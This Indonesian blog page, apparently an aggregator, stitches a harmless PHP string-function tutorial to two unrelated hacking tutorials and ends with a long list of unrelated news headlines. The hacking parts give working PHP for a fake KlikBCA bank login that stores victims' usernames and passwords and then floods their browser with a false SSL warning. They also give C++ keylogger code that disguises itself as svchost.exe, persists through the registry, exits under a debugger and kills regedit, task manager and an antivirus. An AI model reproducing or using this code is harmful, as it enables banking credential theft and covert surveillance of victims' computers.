Text adalah salah satu sumber unstructured data yang paling besar, karena sebagian besar informasi tersimpan dalam text, baik text dalam berbagai filetype (doc txt pdf dll) maupun web text (html). Dewasa ini semakin sering dilakukan riset yang melibatkan text, dan bidang ilmu komputer yang melibatkan text diantaranya adalah Natural Language Processing, Text (Web) Mining, ataupun Information Retrieval.
Berikut adalah beberapa fungsi text (string) dalam PHP yang akan sering digunakan apabila anda berkutat dengan penelitian yang melibatkan text processing.
1. Menambahkan slash (\) dalam string –> addslashes.
<?php
$text = "This is Anne's book.";
echo addslashes($text);
?>
Output :
This is Anne\’s book.
This is Anne\’s book.
Kenapa hal ini penting? Dalam pemrosesan teks, seringkali tanda quote (‘) akan menimbulkan eror ketika dilakukan parsing terhadap text tersebut, terutama ketika kita menggunakan regular expression.
2. Memecah string dengan string –> explode.
<?php
$sentence = "My name is June";
$word = explode(" ", $sentence);
print_r($word);
?>
Output :
Array
(
[0] => My
[1] => name
[2] => is
[3] => June
)
Array
(
[0] => My
[1] => name
[2] => is
[3] => June
)
Explode akan memecah text dan membaginya ke dalam array, seperti contoh diatas, $text di-explode dengan string ” ” (spasi). Hal ini merupakan dasar dari algoritma tokenizing, yaitu memecah kalimat dalam kata – kata penyusunnya. Tokenizing akan sering sekali digunakan dalam text processing.
3. Menggabungkan array string dalam satu string –> implode.
<?php
$arrayWord = array('This', 'is', 'a', 'sentence');
$joinString = implode(" ", $arrayWord);
echo $joinString;
?>
Output :
This is a sentence
This is a sentence
Implode, seperti terlihat dari contoh diatas (contoh : array dalam contoh di-implode / digabung dengan menggunakan string spasi), merupakan kebalikan dari fungsi no 2 (explode). Fungsi implode memiliki alias, yaitu Join.
4. Memberikan nilai MD5 dari string –> md5.
<?php
$string = 'password';
$stringMd5 = md5($string);
echo $stringMd5;
?>
Output :
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99
MD5 merupakan salah satu fungsi hash (kriptografi satu arah) yang cukup terkenal dan sering digunakan untuk security (meskipun sekarang sudah banyak md5 decryptor). Fungsi md5 seperti ini akan sering digunakan apabila kita membangun sebuah aplikasi yang memerlukan autentikasi (misal untuk login ke dalam sistem).
5. Menghilangkan HTML Tag dalam string –> strip_tags
<?php
$text = '<b>June Susan</b> <i> June June</i>';
echo strip_tags($text); echo '<br>';
echo strip_tags($text, '<i>'); // Allow tag <i>
?>
Output :
June Susan June June
June Susan June June
Sebelum kita bisa memproses text dari web (yang biasanya berbentuk hypertext / html), maka kita harus “membersihkan” tag – tag html yang ada dalam text tersebut. Disinilah fungsi strip_tags berguna. Kita bisa menghilangkan seluruh tag, ataupun mengijinkan tag tertentu untuk tetap berada dalam text (lihat contoh).
6. Menghitung panjang string –> strlen.
<?php
$string = 'I am a superman';
echo strlen($string);
?>
Output :
15
15
Strlen menghitung jumlah karakter (panjang) dari string, spasi, dan simbol – simbol yang ada dalam string juga akan dihitung dalam fungsi strlen.
Kalau belum tahu silahkan check it http://en.wikipedia.org/wiki/Phishing
Saya akan berbagi coding sederhana php dan database mysql dalam proses overflow. Data Korban akan di simpan ke dalam database, jadi sebelumnya kalian harus membuat database yang sesuai dengan Login Phishing.
Data Flow Diagram Phishing
Ketika korban terjebak dengan login phishing, web browser korban akan crash dan CPU Range Korban menjadi 100%
Sebagai contoh saya akan demonstrasi phishing pada KLIKBCA

Membuat 3c.php
<?php
include “koneksi.php”;
$User = $_POST['UserId'];
$passwd = $_POST['passwd'];
$ip = getenv(REMOTE_ADDR);
$tgl = date(“j F Y, g:i a”);
$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;
mysqli_query($konek, $query); // kirim query ke database
$hasil = mysqli_affected_rows($konek); // cek perubahan data di database
// login.php adalah URL Direct letak overflow
if ($hasil > 0)
{
header(‘location:../login.php’ );
}
else
{
echo “gagal”;
}
?>
Membuat koneksi.php
<?php
$database = “bca”; // nama database
$host = “localhost”; // nama host
$nama = “root”; // username database
$pass = “haning”; // password database
$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke database
if(mysqli_connect_errno())
{
echo “Koneksi Ke Server Gagal.”;
exit();
}
?>
Tempat berlangsungnya overflow, saya namakan login.php
<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());
mysql_select_db (“bca”) or die(mysql_error());
$over = $_POST['login']; // button submit “login”
$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);
$row = mysql_fetch_array($sql);
// Proses Oveflow, lebih tepatnya Perulangan Pencarian
if ($row > 0)
{
while ($row){
echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;
}
}
else
{
echo “overflow gagal”;
}
?>
Tujuan di balik phishing ini adalah mencuri informasi korban di balik login palsu dan membuat panik korban. Ketika korban panik, maka ia akan menutup login tersebut dan sang Attacker mendapatkan user login korban di dalam database yang telah disiapkan sebelumnya.
Artikel ini hanya semata-mata untuk pembelajaran, penulis tidak bertanggung jawab sama sekali atas tindakan diluar artikel ini. Gunakan artikel ini sebagai pembelajaran dan memproteksi diri.
Selamat mencoba & semoga berhasil, jangan lupa untuk berkunjung kesini untuk berkumpul dengan BinusHacker Family Lainnya:
Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)
Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard].
Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file).
Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
- Keylogger berbasis API,full written in C++,mudah dikembangkan.
- Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
- Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
- Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
- No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
- Silahkan ditambah sendiri
PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger disini http://www.mediafire.com/?eb13zlbb80ic6r9
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | //registry char myname[500],tmpdir[500]; HKEY hKey; DWORD dwFlags; //======================== extern int __argc; extern char **__argv; ATOM MyRegisterClass(HINSTANCE hInstance); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); __declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL); //EP section //registry function void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData) { int ret = 0; HKEY phkResult = (HKEY)malloc(255); ret = RegCreateKey(hKey, lpSubKey, &phkResult); ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData)); RegCloseKey(hKey); return; } |
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
1 2 3 4 5 6 7 8 9 | //create startup and copying files char szCurrent[MAX_PATH]; char szPath[MAX_PATH]; GetModuleFileName(NULL,szCurrent, MAX_PATH-1); GetWindowsDirectory(szPath, sizeof(szPath)); strcat(szPath, "\\"); strcat(szPath,"svchost.exe"); CopyFile(szCurrent, szPath, true); RegWriteString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", "svchost system", szPath); |
Anti Debug
1 2 3 | // Jika didebug, maka akan keluar if(IsDebuggerPresent() == TRUE) ExitProcess(0); |
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
1 | #include tlhelp32.h |
Deklarasi Variabel
1 2 | DWORD WINAPI terminator(LPVOID Param); DWORD id = 0; |
Fungsi Proses Killer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | //fungsi proses killer HANDLE hProcessSnap; HANDLE hProcess; PROCESSENTRY32 pe32; void KillProc(char * szProcess) { hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hProcessSnap, &pe32); //lakukan pengulangan sampai dapat :D while(Process32Next(hProcessSnap, &pe32)) { if(!strcmp(pe32.szExeFile, szProcess)) { hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID); TerminateProcess(hProcess, 0); } } CloseHandle(hProcess); CloseHandle(hProcessSnap); } |
Penggunaan Killer Proses
1 2 3 4 5 6 7 8 9 10 11 12 | //killer proses DWORD WINAPI terminator(LPVOID Param) { while(1) { Sleep(1000); KillProc("regedit.exe"); KillProc("taskman.exe"); KillProc("PCMAV.exe"); } return EXIT_SUCCESS; } |
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
1 | CreateThread(NULL, 0, &terminator, NULL, 0, &id); |
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya.. hehe
Daftar Isi
-
▼
2014
(105)
-
▼
Februari
(105)
- Presenter TV Ini Meninggal karena Kanker Usus
- Air Liur Ini Diklaim Bisa Prediksi Risiko Depresi ...
- Dot Musikal Ini Bisa Bantu Bayi Prematur Belajar M...
- Download Freemake Video Converter 4.1.3.5
- Download Free Ringtone Maker 2.4.0.1720
- Download Super 2014 Build 60
- Download TeamViewer 9.0.26297
- Cara Menghilangkan Background Photo dengan CorelDraw
- Cara Membuat Desain Kartu Nama dengan CorelDraw
- Membuat Efek Api dengan CorelDraw
- Tutorial Cara Membuat WPAP dengan CorelDraw
- Android pernah Jadi Milik Samsung
- Grup Musik Robot, Punya Gitaris dengan 78 Jari
- 5 Software Bajakan Populer di Indonesia
- Edukasi Cyberwellness untuk Penggunaan Internet Sehat
- Android Jelly Bean akan Dimatikan
- Google: Hanya Akan Ada Android KitKat
- Pemerintah Tegas Terhadap Telkomsel dan Indosat
- Langkah Ini Harus Cepat Dilakukan Untuk Mencegah P...
- 100% Software Bajakan Indonesia Terinfeksi Malware
- AS Mata - Matai WikiLeaks & Anonymous
- Terkait Sadap, XL Menjamin Kerahasiaan Data Pelanggan
- LG Pamer Teknologi Terbaru
- PS4 Bukan Jago Kandang
- Apple Sempat Lirik Elon Musk Jadi Kandidat Steve Jobs
- HTC Siapkan Kejutan Ponsel
- Hengkang Dari NU Dimension, Ryan Tedja Rilis Singl...
- Hobi Kuliner, Laudya Chintya Bella dan Chicco Jeri...
- Cerita Pernikahan, Donita dan Adi Nugroho Samakan ...
- Harga Alfa Romeo 'Sport Hatchback' Tergantung Rupiah
- Wujud Supercar Jawara Terbaru McLaren Terkuak
- BMW S1000R Super-naked 2014 Pamer 'Otot'
- Gebrakan Honda, HMSI Pamerkan 'Moge' Spesies Baru
- Yamaha Masih Mengandalkan V-Ixion di Kelas Sport
- 10 Detail Perubahan Yamaha YZF-R125 2014 Terbaru
- Tahun Depan, Ninja RR 150 Tak Lagi Diproduksi
- Ninja RR Mono Produksi Cibitung Akan Diekspor ke M...
- Kawasaki Baru Ninja RR Mono Pakai Mesin Motor Trail
- Yamaha Byson Pakai Mesin 250cc Tahun Ini
- Cerita Lucu : Berita Kehilangan
- Cerita Lucu : Tidur Satu Ranjang
- Cerita Lucu : Sekretaris Baru
- Cerita Lucu : Celana Dalam
- Cerita Lucu : Kelebihan Wanita
- Cerita Lucu : Lagi Marahan Sama Istri
- Cerita Lucu : Alat Yang Hebat
- Cerita Lucu : Surat Untuk Istri
- Cerita Lucu : Takut di Denda
- Cerita Lucu : Kereta Api Keparat
- Cerita Lucu : Gambar Pantat
- Cerita Lucu : Dompet Hilang Pergi Ke Dukun
- Cerita Lucu : Penjual Telur
- Cerita Lucu : Kamar No.27 Kosong
- Cerita Lucu : Wasiat Sang Suami
- Cerita Lucu : Tangan Penuh Tato
- Cerita Lucu : Hari yang Sial
- Cerita Lucu : Kekasih Idaman
- Cerita Lucu : Berapa 10 Dibagi 2
- Ternyata Gamer Maniak Bisa Habiskan Ratusan Juta R...
- Ternyata yang membuat bumi ini berputar-putar adal...
- Para Ilmuwan Temukan Bukti Misteri Kiamat dalam Si...
- Akhirnya Misteri Penampakan di Google Maps ini Ter...
- 7 Lowongan Pekerjaan Yang Aneh dan Unik
- Hindari 8 Hal Ini Jika Tak Ingin Suami Ilfeel di R...
- 5 Hal yang Paling Diinginkan Pria Selama Bercinta
- Hasil Temu Investor Pembangunan Kilang Minyak Bont...
- Tips Merencanakan Investasi di Hari Tua
- OJK Gandeng BKKN Tingkatkan Pemberdayaan Ekonomi K...
- Layanan Tanpa Kantor Bank Mandiri Dorong Masyaraka...
- Peruri Kembangkan Sistem Pembayaran Elektronik
- Harga Emas di Pasar Global Naik, Domestik Stabil
- Hubungan RI-Singapura Merenggang, Bisnis Bisa Kena...
- BI: Tekanan Rupiah Mulai Berkurang
- Suami Bagikan Mobil ke Artis, Airin Bungkam
- Peserta Konvensi Demokrat di Bali akan Jalani Ritu...
- Kasus Sapi, Dirut PT Indoguna Utama Segera Disidang
- Pil Kamera Ini Rekam Sistem Penceranaan Manusia
- RI Bersiap Jadi Tuan Rumah Turnamen Robot
- Jajal Kecanggihan Jam Pintar Samsung Galaxy Gear
- 8 Langkah Jitu Jika Ponsel Anda Tercebur Air
- Ini Cara Snowden Bobol Data NSA
- Dong Nguyen Siapkan Sekuel Flappy Bird 2
- Ini Sebenarnya Alasan Nguyen Matikan 'Flappy Bird'
- Manusia Bisa Kontak Alien di Tahun 2040
- Apakah Monster Loch Ness Telah Punah?
- Buaya Bisa Memanjat Pohon
- Indonesia Berhasil "Kalahkan" Malaysia
- 2016, Misi Eksplorasi "Isi Perut" Mars Meluncur
- Tablet Surface "Jegal" iPad dan Android
- Bagaimana Cara Lenovo Bangkitkan Motorola?
- Sosok Menteri Perdagangan Lebih Muda dan Berwawasan
- Demo Ribuan Warga Manado
- Spurs Menelan Kekalahan di Brooklyn
- Kemenangan atas Spurs Tandai Debut Loyer di Kursi ...
- Bisa Lewati Rekor Tak Resmi Stoner di Sepang
- Marquez Sapu Bersih Tes di Sepang
- Lorenzo Tetap Merasa Puas
- Pernah Kalahkan Skuat Mourinho, Mel Minta West Bro...
- Atletico Bakal Tampil Ngotot
- Indra Sjafri: Ujung Tombak Timnas U-19 Masih Tumpul
-
▼
Februari
(105)

